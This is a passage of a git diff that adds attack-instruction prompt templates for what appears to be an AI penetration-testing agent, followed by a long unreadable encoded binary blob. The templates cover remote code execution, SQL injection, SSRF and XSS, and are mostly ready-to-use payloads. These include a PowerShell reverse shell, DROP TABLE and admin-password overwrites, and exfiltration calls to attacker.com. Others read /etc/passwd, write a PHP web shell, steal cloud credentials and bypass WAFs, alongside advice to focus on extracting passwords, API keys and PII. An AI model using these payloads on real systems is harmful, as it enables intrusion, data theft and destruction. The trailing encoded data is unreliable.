(pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() + + + +- Cron jobs +- SSH keys +- Web shells +- Systemd services + + + + +To confirm RCE: +1. Execute unique command (id, hostname) +2. Demonstrate file system access +3. Show command output retrieval +4. Achieve reverse shell +5. Prove consistent execution + + + +NOT RCE if: +- Only crashes application +- Limited to specific commands +- Sandboxed/containerized properly +- No actual command execution +- Output not retrievable + + + +- Complete system compromise +- Data exfiltration +- Lateral movement +- Backdoor installation +- Service disruption + + + +1. Try all delimiters: ; | || & && +2. Test both Unix and Windows commands +3. Use time-based for blind confirmation +4. Chain with other vulnerabilities +5. Check sudo permissions post-exploit +6. Look for SUID binaries +7. Test command substitution variants +8. Monitor DNS for blind RCE +9. Try polyglot payloads first +10. Document full exploitation path + + +Modern RCE often requires chaining vulnerabilities and bypassing filters. Focus on blind techniques, WAF bypasses, and achieving stable shells. Always test in the specific context - ImageMagick RCE differs from command injection. + diff --git a/strix/prompts/vulnerabilities/sql_injection.jinja b/strix/prompts/vulnerabilities/sql_injection.jinja new file mode 100644 index 0000000..8311e75 --- /dev/null +++ b/strix/prompts/vulnerabilities/sql_injection.jinja @@ -0,0 +1,216 @@ + +SQL INJECTION - MASTER CLASS TECHNIQUES + +SQL Injection = direct database access = game over. + + +- URL parameters: ?id=1 +- POST body parameters +- HTTP headers: User-Agent, Referer, X-Forwarded-For +- Cookie values +- JSON/XML payloads +- File upload names +- Session identifiers + + + +- Time-based: ' AND SLEEP(5)-- +- Boolean-based: ' AND '1'='1 vs ' AND '1'='2 +- Error-based: ' (provoke verbose errors) +- Out-of-band: DNS/HTTP callbacks +- Differential response: content length changes +- Second-order: stored and triggered later + + + +- ORDER BY: (CASE WHEN condition THEN 1 ELSE 2 END) +- GROUP BY: GROUP BY id HAVING 1=1-- +- INSERT: INSERT INTO users VALUES (1,'admin',(SELECT password FROM admins))-- +- UPDATE: UPDATE users SET email=(SELECT @@version) WHERE id=1 +- Functions: WHERE MATCH(title) AGAINST((SELECT password FROM users LIMIT 1)) + + + + +' UNION SELECT null-- +' UNION SELECT null,null-- +' UNION SELECT 1,2,3-- +' UNION SELECT 1,@@version,3-- +' UNION ALL SELECT 1,database(),3-- + + + +' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- +' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- +' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- + + + +' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- +' AND ASCII(SUBSTRING((SELECT database()),1,1))>97-- +' AND (SELECT COUNT(*) FROM users)>5-- + + + +' AND IF(1=1,SLEEP(5),0)-- +' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- +'; WAITFOR DELAY '0:0:5'-- (MSSQL) +'; SELECT pg_sleep(5)-- (PostgreSQL) + + + + + +'; DROP TABLE users-- +'; INSERT INTO admins VALUES ('hacker','password')-- +'; UPDATE users SET password='hacked' WHERE username='admin'-- + + + +MySQL: +' AND LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))-- +' UNION SELECT LOAD_FILE('/etc/passwd')-- + +MSSQL: +'; EXEC xp_dirtree '\\attacker.com\share'-- +'; EXEC xp_cmdshell 'nslookup attacker.com'-- + +PostgreSQL: +'; CREATE EXTENSION dblink; SELECT dblink_connect('host=attacker.com')-- + + + +MySQL: +' UNION SELECT 1,2,LOAD_FILE('/etc/passwd')-- +' UNION SELECT 1,2,'' INTO OUTFILE '/var/www/shell.php'-- + +MSSQL: +'; EXEC xp_cmdshell 'type C:\Windows\win.ini'-- + +PostgreSQL: +'; CREATE TABLE test(data text); COPY test FROM '/etc/passwd'-- + + + + + +- Comments: /**/ +- Parentheses: UNION(SELECT) +- Backticks: UNION`SELECT` +- Newlines: %0A, %0D +- Tabs: %09 + + + +- Case variation: UnIoN SeLeCt +- Comments: UN/**/ION SE/**/LECT +- Encoding: %55nion %53elect +- Double words: UNUNIONION SESELECTLECT + + + +- HTTP Parameter Pollution: id=1&id=' UNION SELECT +- JSON/XML format switching +- Chunked encoding +- Unicode normalization +- Scientific notation: 1e0 UNION SELECT + + + + + +- Version: @@version +- Database: database() +- User: user(), current_user() +- Tables: information_schema.tables +- Columns: information_schema.columns + + + +- Version: @@version +- Database: db_name() +- User: user_name(), system_user +- Tables: sysobjects WHERE xtype='U' +- Enable xp_cmdshell: sp_configure 'xp_cmdshell',1;RECONFIGURE + + + +- Version: version() +- Database: current_database() +- User: current_user +- Tables: pg_tables +- Command execution: CREATE EXTENSION + + + +- Version: SELECT banner FROM v$version +- Database: SELECT ora_database_name FROM dual +- User: SELECT user FROM dual +- Tables: all_tables + + + + + +{"username": {"$ne": null}, "password": {"$ne": null}} +{"$where": "this.username == 'admin'"} +{"username": {"$regex": "^admin"}} + + + +{users(where:{OR:[{id:1},{id:2}]}){id,password}} +{__schema{types{name,fields{name}}}} + + + + +SQLMap flags: +- Risk/Level: --risk=3 --level=5 +- Bypass WAF: --tamper=space2comment,between +- OS Shell: --os-shell +- Database dump: --dump-all +- Specific technique: --technique=T (time-based) + + + +To confirm SQL injection: +1. Demonstrate database version extraction +2. Show database/table enumeration +3. Extract actual data +4. Prove query manipulation +5. Document consistent exploitation + + + +NOT SQLi if: +- Only generic errors +- No time delays work +- Same response for all payloads +- Parameterized queries properly used +- Input validation effective + + + +- Database content theft +- Authentication bypass +- Data manipulation +- Command execution (xp_cmdshell) +- File system access +- Complete database takeover + + + +1. Always try UNION SELECT first +2. Use sqlmap for automation +3. Test all HTTP headers +4. Try different encodings +5. Check for second-order SQLi +6. Test JSON/XML parameters +7. Look for error messages +8. Try time-based for blind +9. Check INSERT/UPDATE contexts +10. Focus on data extraction + + +Modern SQLi requires bypassing WAFs and dealing with complex queries. Focus on extracting sensitive data - passwords, API keys, PII. Time-based blind SQLi works when nothing else does. + diff --git a/strix/prompts/vulnerabilities/ssrf.jinja b/strix/prompts/vulnerabilities/ssrf.jinja new file mode 100644 index 0000000..a57d678 --- /dev/null +++ b/strix/prompts/vulnerabilities/ssrf.jinja @@ -0,0 +1,168 @@ + +SERVER-SIDE REQUEST FORGERY (SSRF) - ADVANCED EXPLOITATION + +SSRF can lead to internal network access, cloud metadata theft, and complete infrastructure compromise. + + +- URL parameters: url=, link=, path=, src=, href=, uri= +- File import/export features +- Webhooks and callbacks +- PDF generators (wkhtmltopdf) +- Image processing (ImageMagick) +- Document parsers +- Payment gateways (IPN callbacks) +- Social media card generators +- URL shorteners/expanders + + + +- Referer headers in analytics +- Link preview generation +- RSS/Feed fetchers +- Repository cloning (Git/SVN) +- Package managers (npm, pip) +- Calendar invites (ICS files) +- OAuth redirect_uri +- SAML endpoints +- GraphQL field resolvers + + + + +Legacy: http://169.254.169.254/latest/meta-data/ +IMDSv2: Requires token but check if app proxies headers +Key targets: /iam/security-credentials/, /user-data/ + + + +http://metadata.google.internal/computeMetadata/v1/ +Requires: Metadata-Flavor: Google header +Target: /instance/service-accounts/default/token + + + +http://169.254.169.254/metadata/instance?api-version=2021-02-01 +Requires: Metadata: true header +OAuth: /metadata/identity/oauth2/token + + + + + +Common ports: 21,22,80,443,445,1433,3306,3389,5432,6379,8080,9200,27017 + + + +- Elasticsearch: http://localhost:9200/_cat/indices +- Redis: dict://localhost:6379/INFO +- MongoDB: http://localhost:27017/test +- Docker: http://localhost:2375/v1.24/containers/json +- Kubernetes: https://kubernetes.default.svc/api/v1/ + + + + + +Redis RCE, SMTP injection, FastCGI exploitation + + + +file:///etc/passwd, file:///proc/self/environ + + + +dict://localhost:11211/stat (Memcached) + + + + + +First request → your server, second → 127.0.0.1 + + + +- Decimal IP: http://2130706433/ (127.0.0.1) +- Octal: http://0177.0.0.1/ +- Hex: http://0x7f.0x0.0x0.0x1/ +- IPv6: http://[::1]/, http://[::ffff:127.0.0.1]/ + + + +- Authority: http://expected@evil/ +- Unicode: http://⑯⑨。②⑤④。⑯⑨。②⑤④/ + + + +302 → yourserver.com → 169.254.169.254 + + + + + +- DNS exfiltration: http://$(hostname).attacker.com/ +- Timing attacks for network mapping +- Error-based detection + + + +- Redis: gopher://localhost:6379/ (cron injection) +- Memcached: gopher://localhost:11211/ +- FastCGI: gopher://localhost:9000/ + + + + + +127.1, 0177.0.0.1, 0x7f000001, 2130706433, 127.0.0.0/8, localtest.me + + + +http://evil.com#@good.com/, http:evil.com + + + +dict://, gopher://, ftp://, file://, jar://, netdoc:// + + + + +To confirm SSRF: +1. External callbacks (DNS/HTTP) +2. Internal network access (different responses) +3. Time-based detection (timeouts) +4. Cloud metadata retrieval +5. Protocol differentiation + + + +NOT SSRF if: +- Only client-side redirects +- Whitelist properly blocking +- Generic errors for all URLs +- No outbound requests made +- Same-origin policy enforced + + + +- Cloud credential theft (AWS/GCP/Azure) +- Internal admin panel access +- Port scanning results +- SSRF to RCE chain +- Data exfiltration + + + +1. Always check cloud metadata first +2. Chain with other vulns (SSRF + XXE) +3. Use time delays for blind SSRF +4. Try all protocols, not just HTTP +5. Automate internal network scanning +6. Check parser quirks (language-specific) +7. Monitor DNS for blind confirmation +8. Try IPv6 (often forgotten) +9. Abuse redirects for filter bypass +10. SSRF can be in any URL-fetching feature + + +SSRF is often the key to cloud compromise. A single SSRF in cloud = complete account takeover through metadata access. + diff --git a/strix/prompts/vulnerabilities/xss.jinja b/strix/prompts/vulnerabilities/xss.jinja new file mode 100644 index 0000000..52f40d1 --- /dev/null +++ b/strix/prompts/vulnerabilities/xss.jinja @@ -0,0 +1,221 @@ + +CROSS-SITE SCRIPTING (XSS) - ADVANCED EXPLOITATION + +XSS leads to account takeover, data theft, and complete client-side compromise. Modern XSS requires sophisticated bypass techniques. + + +- URL parameters: ?search=, ?q=, ?name= +- Form inputs: text, textarea, hidden fields +- Headers: User-Agent, Referer, X-Forwarded-For +- Cookies (if reflected) +- File uploads (filename, metadata) +- JSON endpoints: {"user":""} +- postMessage handlers +- DOM properties: location.hash, document.referrer +- WebSocket messages +- PDF/document generators + + + + +Simple: +HTML:

test

+Script: +Event: +Protocol: javascript:alert(1) +
+ + +- HTML: <>&"' +- Attribute: "'<>& +- JavaScript: "'\/\n\r\t +- URL: %3C%3E%22%27 +- CSS: ()'";{} + +
+ + + + + + +
+

$fo_#EGi8A~hVXc?}(;BT~u4ah8AC6VxIB3#>!ZhHP~J zSWRTy2}12dF*`)vNYS4I5GLU&v#92-RLm8~1`b7l8qr;$Y=!tUC8l7_G}Hk?&VlM*nu?wp!gu5hn@ zQh_`<4xK80jKZ<%n^5p9kUmVm&$;WF9aHW7!jz8+5goDU>A_ceekV!wvdYJXwjx$$Z zW>JL#+v?%dQFaD)u))X<%=&s70EaWwQzARPuc9pBo$$k|6rejSZ$HbN$D$Hv8i+~q zB@5!Ig7G1$=Y7%Tmhw%JyvY@Q>#qXjqlIJ3)uCd;$?aRra9R6B4-Ktj(I(4->VBY$ ziDNv_liB;>hh?+W!lg5Zc0{raVF$Mzd5HSQAvd4^aO~-pA>N=%Tx(ek^qk+N3$QJ6 zjk&7Apc3aSc0Fb1MI?VOvjFDy^9_fT2~djUW&@PR*pW2ux{lc!h^4jvzxoFmIIXcA zbp7p=lI&aYed>+|;}d16AK+{s215;B&_u5MvQNx z8I8fPv`R*n>}VsnG}`IZ5KC$_&Uq-wbW?iNU=MnXGlYGCX>2` z({%U5vZEA~GgA8i=XdW#Hci$iEP{wx)M~;bf7_=%;}m95u&~$~9oBnBprG~Mq|ZpJ zOy3sd2_En&1IOM0I6H}D%TCh0Ql_6ySNi@%!a(#wW0F+igcSD0B2_pN^VP7s{+G6f zJ;?lR8YCX-k)yeR5N~oSLwv7j+6-(Qn51xzZDmbawtgB`wG1N^-0|5&@&v{tnQSga zdDJvVHhD}+9tp$6aB)<=-~{gI-4`Bt;-FN^u=gZEI~^@#z^UF z`?pOpsP#^`S=p2FMHAvtw?Q1qT1ZkX!k$>A=F*VDL{h72 zvEbnHF>At%HXde&Nr%-*J8hLAOM7+|CL+V^@G&~~M0$elFcW#k?iqJ(bwGSkW`()U&t-*yU`}R$&ir2#kh(zMF21wHz$q+1IYwq`E0AWZVNb%Wn z#wD}cO;hla`_FibQE^z8dLwW81}JD;=p!y)X-C^>nmL)}rdb)2R7UiORLRGZsSCbP zXOvLOfr(uqYIQJudvunh0%oIfbsuw6A&&|AWH>Y#66g%<@>!;+-YI*QRQb$xqCb=<@NV{fgxj&y$ODQ34n%(Vp0Aw0$rb|ys#BPSec1QJrj4vA<)m5N-u3XAc6-f z%CwI=V7`d4EJcBv(U2jU zRwwDzX}YB7juFt8f0jEUtZ=gQDj{6+iYDl-6CpxitwfkRdaz7msLMs6>>hwvV@U(n zf63VQQ=b@P_q0e)+G^w{yy-%BVhpIlvo=Da^Gp|IR7?(WF-(EIO1+cO=&X)nw6yXKBCJqC%9amdu+hcTX7CiIM8)J0=|_^L+UrDHy`9^XeR(qu_@=Xh zsHE_T(FUN$#Ec;s%iuiRq_8xD2`d12ln5S|-~9-0DzK7UBVVDn%?+SAX;DKmRV67HyyO1xGA?x z_~lao0FC>+WU_%d!;M=Zc_oDA94DfdaeiH)mjFLNBZeFTnmCew*qZtf86qKX&cx-p zC!__Ll2Xsol}V{6o)NB>C($D(E$*ZzNH%>Nlhl<*U3X9ekvVIIrH`Bir z9et^HxoRs}hb1k7yHb3+H3R!Zfm`l(dU$%^XLirJxGZ+$4bNd(-?HgLQY6_4cIRjV zdpJA>juQpY4waQHcM=1j3SIitl{*es`zuwX0F~({OyEc{;{dixi+X}eWCJVOX>uTO zz#gMqh)Rx%0*d=c1mr+FJ3><1Hsmk`b3ss@LeXfrlP!b{+c_*4(X0`KOrTRX&~P#R zMoT;=Es|_7`fst3#kUMt^X7CO>H6h~1z48l@qFMJxoJquO3YyN3%p1$Oej2B@T74t zio;|!ADP}xsAA8V&$nz3GcJeb{}8?Z;M{MTko3_}f$BRcjaSoW{)G)uS{Atk53m$m zPT;w_vEIWQVyYM+KIuiR*w_ezf3u-)1M_cbq$`h-92pG{f0)U zaY9Cki=I;^neEnF@-YD%Ue}z^joJ*$?jk!tF;HnkHwO*nM%)Y99LvnO#STUUsD*(t z-nN~e-R_ru{3^xqEw*Kj4w&-B37kb+>SsgWBSUF1)7jg%4U{|NF)oC=2$2zJiMJzpFY&g>U;YieEilBJ;{4Dr z(+rBZ3$?k?sAnct5Q=Jd!#E9uJ)k+eC?Z!eb@KdC!j2KO)M5SN#$qfQiQbSMD$2Ri z^k-h8K0XF6k27|nM3rWqzTtx#k^%)ehGLz%9ZHCku-{W`jYc+pFlZ1zs%a1*M0|3s zA3scn|0Val+QO)fWUFAu41vRIwqInAcHz}XoeoPzyVz!)$T;THQmy__`0q>7 zzeqp^^ndLk3}K%SsC~PMJqUA>ux#ekh5G2QeFW8$p43A-4KuWqe&(@p|8R!?_4QwQ zCbD0kzlQQJd$zBN+-NO)xFsbzh5~Bl+?+X6XsgJwFUaR#)l~oJQKf4CUGd?>>F`xf zIY{7X-Y+Uz--{T!myG&j5gYfX9M(h52iu9we^Ll7`cwt{f6q-wuSXQyf)c|KAL#|R zC5?|ew!cqDbh6y|>o@=B0Y-IiDF5t$pD4B4lr0hf6={P$$Y^6H@<0DWx_qt4aiZS; zB0YDe(Q6}R68i|?YmTz}L21xLV>(P;2qwOIcK)w92nGHdy2`DO;In*zH7pb~@#VZ& z(ob%lfLz6I{%N%( z+86UggrxJoBlYW_NU1^4Z&>RueC8Sc&$aen(fs86XNW$^irDmXUa< zKB-~EW|3*xIgbk!YV#s2s9&|0Kv)EdK3Sl0q)3F&tJi;z>duP(V2O%3m*?y{a6_LK zZIb2sDp*z(fek5ApDXuMNubPP*D3F1MZg$PpeZwLwc|EfFXrMd(=MM-ib$zzWOQ%Z zA*R{4jVvv zZuti&GpqhI#BJ?pB$kaYkh8p3hRUv zR)Cf+RD`XR9fHj=x+aDX>UUj~igA_|d~``o$qJ-GmlZAmch>ToL@i7*#F!ehNi=Tf z7CMZAfWCt;jb}cyCHn%H&3cu3Kk^?S^#c6}9#g38uvXPFRze9Y9upa2w{o&Iex$;I zNcW|x@7A)6+R|Nn{iJBI;SUSgCQ&Gfpd?eml^HZn1i!L;5WIs;`U*V9t*1PhA`*kz zbe3+OdE`-P%-OyWplOV&`jAvh`Kj%RM`RPj9egJH{6HB1h z=4}c>SvvE{EWJ^!d>@FcR+R}GdUa!B`w+tY$j*s2+s^nR(Kef9+IS%QTn|zu0UN@mN;}= zXAYs{?@&jxc5}&I<0PWzltl@Azojbc3$IOhk1}CfoEtoxW4>c|1`DacaLUKaNtnNs z+@wU~SWQAF91iyQX6LTFWv*+BD=#ybG#dKQ*y}l{XuQ`{yYsvs2RZr)B$~hLQ2CoC z?GU}jOv`akg2y{#ip1P))iGJis8%I z@vHYzzPx0yljZZ}_~5J2-<#S$$KVbQK_n!k==x)E7)6XgW_v*Bu1eT2X`-@GHfgjZ zX%Y62r^HV6Xc;cA`xCUu3OC4sik)bbFoGxpuY7KNZfLWw~JwKCmV#7OFw_w(h zVGd=dxb8;;=N^g^we#fFR|i`a7|ztHTWhy(Mm=@aJyEBL3hwG4BKuHL>JYK@^a!Z=_(+;rpuzNbaO-kMgXdKbnwUa7*tn{^54JE)zW4xaRCtDGg0yhwjYBZD zQjue;8L6;XbrDiR`lJXq%k=0lP#w!jDu8I0d5_ltAMHeR6LAk!cT^%dc>OxQWZTJz z5Ik`=&%9%lxCP(cFQQ;TL2R9-4CH_wSVGduy2whBk@(_$#?7b>b0$TTh$_3A+H~$Z zkszf$yY9qRQauWl-fD<1;zJUj4{s{WaTqqHtnKX{Xoi=7jv5;OP@v_`7{(3p8f3## zpezJ>?5Rs0kcw(eOEFL_#=}jgD%v7X;gBv{8bk~hbkwt*W1MM2PZFGLA&I;%PYDEt zYy=d0DBk3gz?H!`@aK?g-`-8}1VfT1UVGc~>KYUBq$F5`A004+ULdzhi(xHGlsU^X}L8BthBIASeG4&o>ZpP-ASMH!J@Hix4Y-Ogv zoGSJJ%u+yz8tqsBBr%8ki@$3C3>;aw7WANuw)RTC6wyk)Pi2OZV1w)VDu{#ZoIRd6 z)^%Q50=0aeO7ILj#trct^)_LkBJ>$ljzV9LNr|C9Br^qaaD1Uh)?mrsnXR7NBGgsG z!yVKMk$EnaP*igxhz~Pc!uB_05ifDlNR;cI0+>KbI{t3)fe57clo1wnr5#8~ zv%E$i6hR;acxp;fzb=9M@Gb2wcRp<}qDUZLk3l?mdJu0ocS(}}iOeVg;2p3FK^m@1 zg#~l?EJ|BTz@HGPO%nI<(GO*hlm%dH9vO*c&; zQiJ(ISDkN}GO&s5o2rtH`s!!?jWC;CuGVA)Hru6pPk%OJ+%i%CNvOt{gS#MK$r@+KeUpzC*c3VQJ_}_kJMtROD2qj`_B+${K?KNWlZSV9zwy4XT4*Y0jd$I)g61Vz|iVO9*e09%Kcg)_i1EQF0l%i_r%4jV`2ioceLkP8ePO%fk&w*-BbgcAkK z5ae~I17)NA9>QI_+t)`JVOu+?!oDgG95?>g4eOMFg$ODdJGmgMI7{py&!D<^j%mR7 z3dDe54=h;K>Tk#hq;lQ@(zcw*meg${QBnX3+FUky4qBcJ2rIF)V+$j&j#5O-8;dxx zk8!nR47@1=${kc08J7%ZI}3pj!XCl>#&S?EHmx%!M~@GV{d&Af!J`!t_az%d9^V06 zuoq+sOCKD-R%-#g1gQ*0luu+QahHYF;)9g7btG5z>~SU}AX zPwRcMsss>&SV5HIAu^3zK~`sSmFx2ETzv?{sm`JI??U84(gQA14bkCpppiwDMM;pr z$q8FntHEy*$Tu2r5@E=&Nim2c0I$dChT%VCM|HXsKFXdJq~gWCd(|abyZp|033xC8Kt*B z(=$BK1{$q*8{C&}mQhX%cNko3b~|DR^dnX7W!P9^f&vsDtWB*78I0N&XQ%f-x@Cge5pMlK*Y|0a#f>?`H)jEu8 z$Q?kgDvKgh`mbj(TGaI*;|DD2t`P@x-8vFy!A22ap~Lw`sA9uL5cBce+3fj=Q#c`IWg#J)Au}|^K>a}VN3^na2d!*O~?ud|8U>7hrEJDBzrO%M!=hIGW-KWCfIsQ zJV!yXK%y191TTRcuxf}6@)N`o^Oh2%552_P8eBXIousWV2r~}+)3E!0t9_5{7e+J?8Ym8A=H4KR2ydYQV5M-OGIE(0nVUWzpM9})L0|n zw19tq3yCh#4>SKr2#tfRZw7QN;@On=@v@|j{1oyUx+tWA(T5U6x>f>PI9e^!(bk{y z&tt)4CYdqgOkCA;MpMt|kqb5Lvl}DShk;;$asqop0H7um#&4`3#*>Go!rq7pu7Jl$ z@wJ^}*Iv{<O5I; zFb5cE5_79ikXCaNW3=r`ltzAja7pVEsB!QZvw$}hd}(?uZLr(uHr$h{!=)zkqmj(&TO7K&OcNz4HtGhR-*aT!o~rx&XSM_HluGrh;t#n+avXB21> zgf0!637RO4_V=C>X$o3C2I}{S7E}TI;oDU<=Ev~0??!`vI;O1b$*ahxYxP=t8_jP_ z3p4N6$yGf*B@AjzWQ#P=Lc ztqw(&o$}+S;Fg5Kuf0gGUm4tABUZoGezWiPsHXf18P(8e79oY_oEd*uvr6CiX(qq~ ztzfA}uhHhwSA8B>Xg*&u{){g;ba`8wZ|2D?Rd11aXn0Dnh7N3Gm;g_L=vUE?|5fF0 zw(Cw9`>X^WJphI>d9{;d>#qwgFeuXCozlZfEbCB!IZOJc{|nwK=khPEHOa6;MLu51 z=r|z=zG6JE6(6~QxE2stNRxcv&lWp+1OLYMml8Q6Qy-*@?6qJ%4|X>^Us(eAN+q=) zHrqh5_-9&H6p?LK-q;zii+W_c1&SuIquHmunKBML{`u}=_qm=?zeC*dNo=sl8Wplg zbAPhRS_Q~~1x5&<&c#t2t}9YFX(eAz+}2Q#^7jdqaFPM>R-GdeZsi{#1Zxc|XEC%I zn1Qd{_V)*y2aAvm1|WQs%KHIDKOuhM{~MuaVCY9Rb=`BXH?vEs5y%dN4j_xoI&sLp z!9wltYGyABy}27bYXCMxl$|;9oipt1vH4M;bs{=4UL!G`a(qz2&jPJT#IkL#1hOy$ z+l{=jnS3$T-=aW%(!B~231m_R1v5R3KccGg@&Sg1vvW-y`0)YpB3g<2DnX3XGX5U} zTWDJDow7icJU8*UCFX187{?ZSo*$wl$$alt_kFFd5=W2c!a3uK`f0QDC^FU_O6@ z3vT(%-IjId7X3d*vZek6@W8ZHh=;SUyGFU%ArbN~PuI(J>3Hw&J8UQmJTY8p`-ifZ zXk8Phk{W3EC#Hu7wurGLT55Cd`MZpg2MO)Rvqbg~x**iM3nviAE^{jET>5*LT1Sf>ut}p*oU_1>{+(KEW6Di_Iv|XRup6+zqstZ=(uB!8$rp!4stDru07q9n@4uOC3B#0m~=0 z=Bt$zn}&?av-#s{9=-?!7k+I3j$B4Sp~Hc4I8{rBg71nr=tnjf^Ecp*E$Qj}xd!0Y zlR~kg$wMH^JMR?i4Mm%4HQp^MoGy8H=N$f+>>;(eB6#BXb`uENV*|dEj}X!?3BD~M z%x0+8@1eM68f*`PG72_VFZR6MElkCXBCowOPZ&f$0a=@8!(aT)_x;mP1_;{WPKJi% z$FVi0^pn*@m9xZNTW8WN;k0k@%f__b6ijHC4L1D9--z6%yiEz+nL#=#UE{a>6%;5w z{u?9NEswH1rhR1J0RE`sj@Y(l%98C9I1U;FD0WA=r-b}WPs|!RrK*JLu(H23XjumU zh3y9R0Je;e;t*$A(R^QmD4V@QzBBXZRil`={? zF6-V<#Y>7XulxI2Nt8V&L9Oqf76fu{PjA4 z_4;~!{pVc&o)$vtZw*|INn>3xFiQxjqBp8Z)20y~Z>i!59osfJbMDOfOSgEI-n(rB zkaCR_OoDZ>c7Scyy-(lwdTd=e_r#HdxgndC{1hYBtXUKO5I!s-E~$O%7TdmE@blI! z1{G;yNTqxcz6Q-3O0rjAJ*5gK)~{A#-kdqVU%vS-C9nW&S&;E0XPY|9A(sOZ&XB0S zK=NtG#2^ZiAjN@tN}>peY(kvZ6#=9jDHvhCCCZ|r=J7m>RZb4@CstEbnMb)oF+wPW zg(RRxfFW_BU$dDh6NYtcQewiWVb^bElC)ogAcct^2zC~bT#lCv8~&C8mF?I7)*u%_ zw8D4UC~O24sIUX_h=S+?Q3nXTDS71b<;sp6+W+Ch2aA`jQWS*-z7KL2xE+D_Phho; z3!8}60OHs|T3`V$0b)v_^0Xa=4p(r1^2Ea%kaZP>bQvVITNa~UQc`j8BkkAYmpLIxg-Z!pjkI?!v|5gi_n)nzPRga2k}Dq0b+ zIa*X@tn87#O1!Dj22D8b`ZR+MAo+qG&M<>vjif6tTj zJcHyxDZ^5^md3Goe(qou5J)}^bU6x@fW5qoD1ZD1;Got7Z%^JXja0yLOmO+oHz-~ z?7|f&j$?z}x~>W)s%o~&$R#S)nmBq`%H_kWmwgqo1q<%pb~wqKr8^B8)}1n{--aK) zJNVmq1I4<5gdW5L2wRSGaH%a=K*Ql_%y6hECMf~P<{T$4?q5}beZC77B71E-~mAhB+XI;rX4IiC$>QjMn}gsYVl@F zbi~n}KfQdO3Op#Bee;59wp|5uKCnHgK+)H9UNk}fNXArRVN zYp^@vdNG@%U=e-ZsOF98jsN6>_1}NH<(FNcrx`r_WP$ZtubMAykZxS9>XjPQD0A(~ zrAt?C>zJN#87vzC1HuzsP;Q2XsUJ$f8ZM6Ys|x5|pm+F1pb`yB6=X?OOpge{K(#Rk zjozxLup_b^?mPTn5?EMuU{L~3&`ut>ARr0Hdfaf=7sy83Q9%Nx1sV!`4KyvLxe2Tk za7+fI1@B{cQ7BucO6gMNIg%?>$k(EI<@MjL*|q%`Madyj!+Hjn#nLn@gaLz>fGc`9 z!8J9Y%@(L>me*9vFZzK*x-61UG&a)`NIW<7yklq)ctVB%-P(iMaXz-}o)P#vM~d)@nYZ!>k$#6NGRpysF1QZ=l|U?^b1 z3`lVutFgq$O6AJ5s#o#ujjN~6T?ORU9l{skZ_=c(EK35<7f*_>TfOwW*>nH6co(b8 z1b9e<3|rqy>)!m(nW?N zU?m5OC8&U%G!_}+!3IZ3c--z_G6|FoJg<*qQBSfS)xZ)JP{nk(9TG%BIOc>4VL>>7 z;jx~c-QRt;{ToXb&j0=Q^PsE@OQ$&y;2?p(kX)e7g5WU?0CK!rjuyj8lD4sS5T1tw z2^|Ur7(t{sUNsFsOG-6)%t|;QV;N6Ox$Y9^-sA~2su39M_=W)92I zI{2~eP~q|^SU^)%A~+taR7e({A>1(=ZqlT%0t=H7u89e6m&f8|A}skF7Cw=-6!;ZT z>4BhvrM0fD>5A7YLud>IbxDvd1M|Y5A_GburdJ@sfO4~JL4e?BLTtip5gwhv?l7v$ zqq(?PaQ8;5&Lc+*-Lh`M!M!_!m?EG#5|)owsfh7oM|5aVV$eq)+|LBhWLZqMqFk4- z;Sfy$f6-s zSUT*9roy*)k$FZ&0+;WAj)GHgR)Dd4eKHN)^h zusTr7j)4Tt1inFoj0ZEPB`&Ds3nDg)xfUz(oEFFu1>V4P0hZE%?f7G(TeWEgH}8|g zTD5EVWqJDKPg5R0!QJI}U>blYk}MafA-KsRg_An8X)Vyiq20UEo<3tFxj<8B9wLh= zaV*@Hi}*rG9ub%)S|tT52>e8aTJZhX`@tM}4}t zsgnj~jGRJiszeJWFA48c3M6{R;^! z&KFl~-kceH@X3U6WAYqXw@8uD!JbI8H`rJXo&!iW%@8c@Dw+m<4YZe0^F@{d1|@nU zZJUuj{t4s9f+;PWKT8ef!yQAwas?SU4;wBR{i_0tVBmA@umWPScuoV?hFA|)jpsBv z@I4wFGhED$*k}+A2hVR}_k#+n4oFg3|{N zRy?K(ITIY81#-r51_`EN@z}3G>8=~jC}XuI1Q$V&94znD(fMpkqGeM9=pY!5&Nl;s z#8VhW!1|alOUL*^#q#I!MB@ z2oMfH9U+{vGy^aVBu@t_M!G`y*o_utVAVib$#C??WjC+`5W}hi5=0iw|j-FORz+N1u3HH3MIOr=RKqZA}v$N1IiA;5%?~IHp2m_BZ75#cwn}suG5m& z<61z$!Q?Q;(hvk)LIDCP`G66{G z;4Aw?Ql;AzgmDW+HAkt)eR(z*G+aXB8J-0T1lGY4nr`xx046L-tg41Eykfb#&0u{6 zHaOs+x8w!#0=Fr#grS8Pjz^LWf`Z{R!*w{p!CGo1o(}1O0^S#w9W-dc2TN)LQR7Jt zTPT2Q?`2D31dD!Om&MgPo*C2!*t!2_8vfiJ$@eSoZNACzMArj=^BkjZ#BiUJQl| za4K*c5E~M%Co$lY!4=DwUOeZ^7irJo%MC0=w84E0EI(pF)@X)KdnCfNypDy%RA3e) zsbkwR53=7dHP|~Kh(?%pgd1#u!SE;@HI*Q3AzUwsJ_NE5_!b(Hi`|z7rhLFQ+q7u% z`M4nq7R=jw^bC+ZiF9E16)cSq!&Q9@PB}4yULIV>CiqBAw~k zAg+RC0=7UP`=ks@7XeLNGu#RadIXPcWtjosP(uNa$7eg>h88&X|4d-Ptr48h(hCGP zT@u-Bg=Sbk{Yq|8pt3D9Ts{c|nx$Cm#sl6ASY)Hlh27WmEVK>y6UJ+qRJpQAGo}sR zz4PZ^fBwyKIR!h6SlhsTajXKYQ{h13y0+o)48@QdU~!)6%CetOvB`_zfZK+^eL$GA zsF`4iut9*tDiR92iGiydL4gIPiB%h_0s2$WHH~F>>=q=c5PTU3Gc3lzya+re@8vYx zQEk5ayPXI0?C|-NiPs;b!E!p5BJzxZ%_a!FF6PN;3!d4c0O%MkgQWqp?>)7DNrZg|P!x(1SqnT`rsk3Ist^19Yht 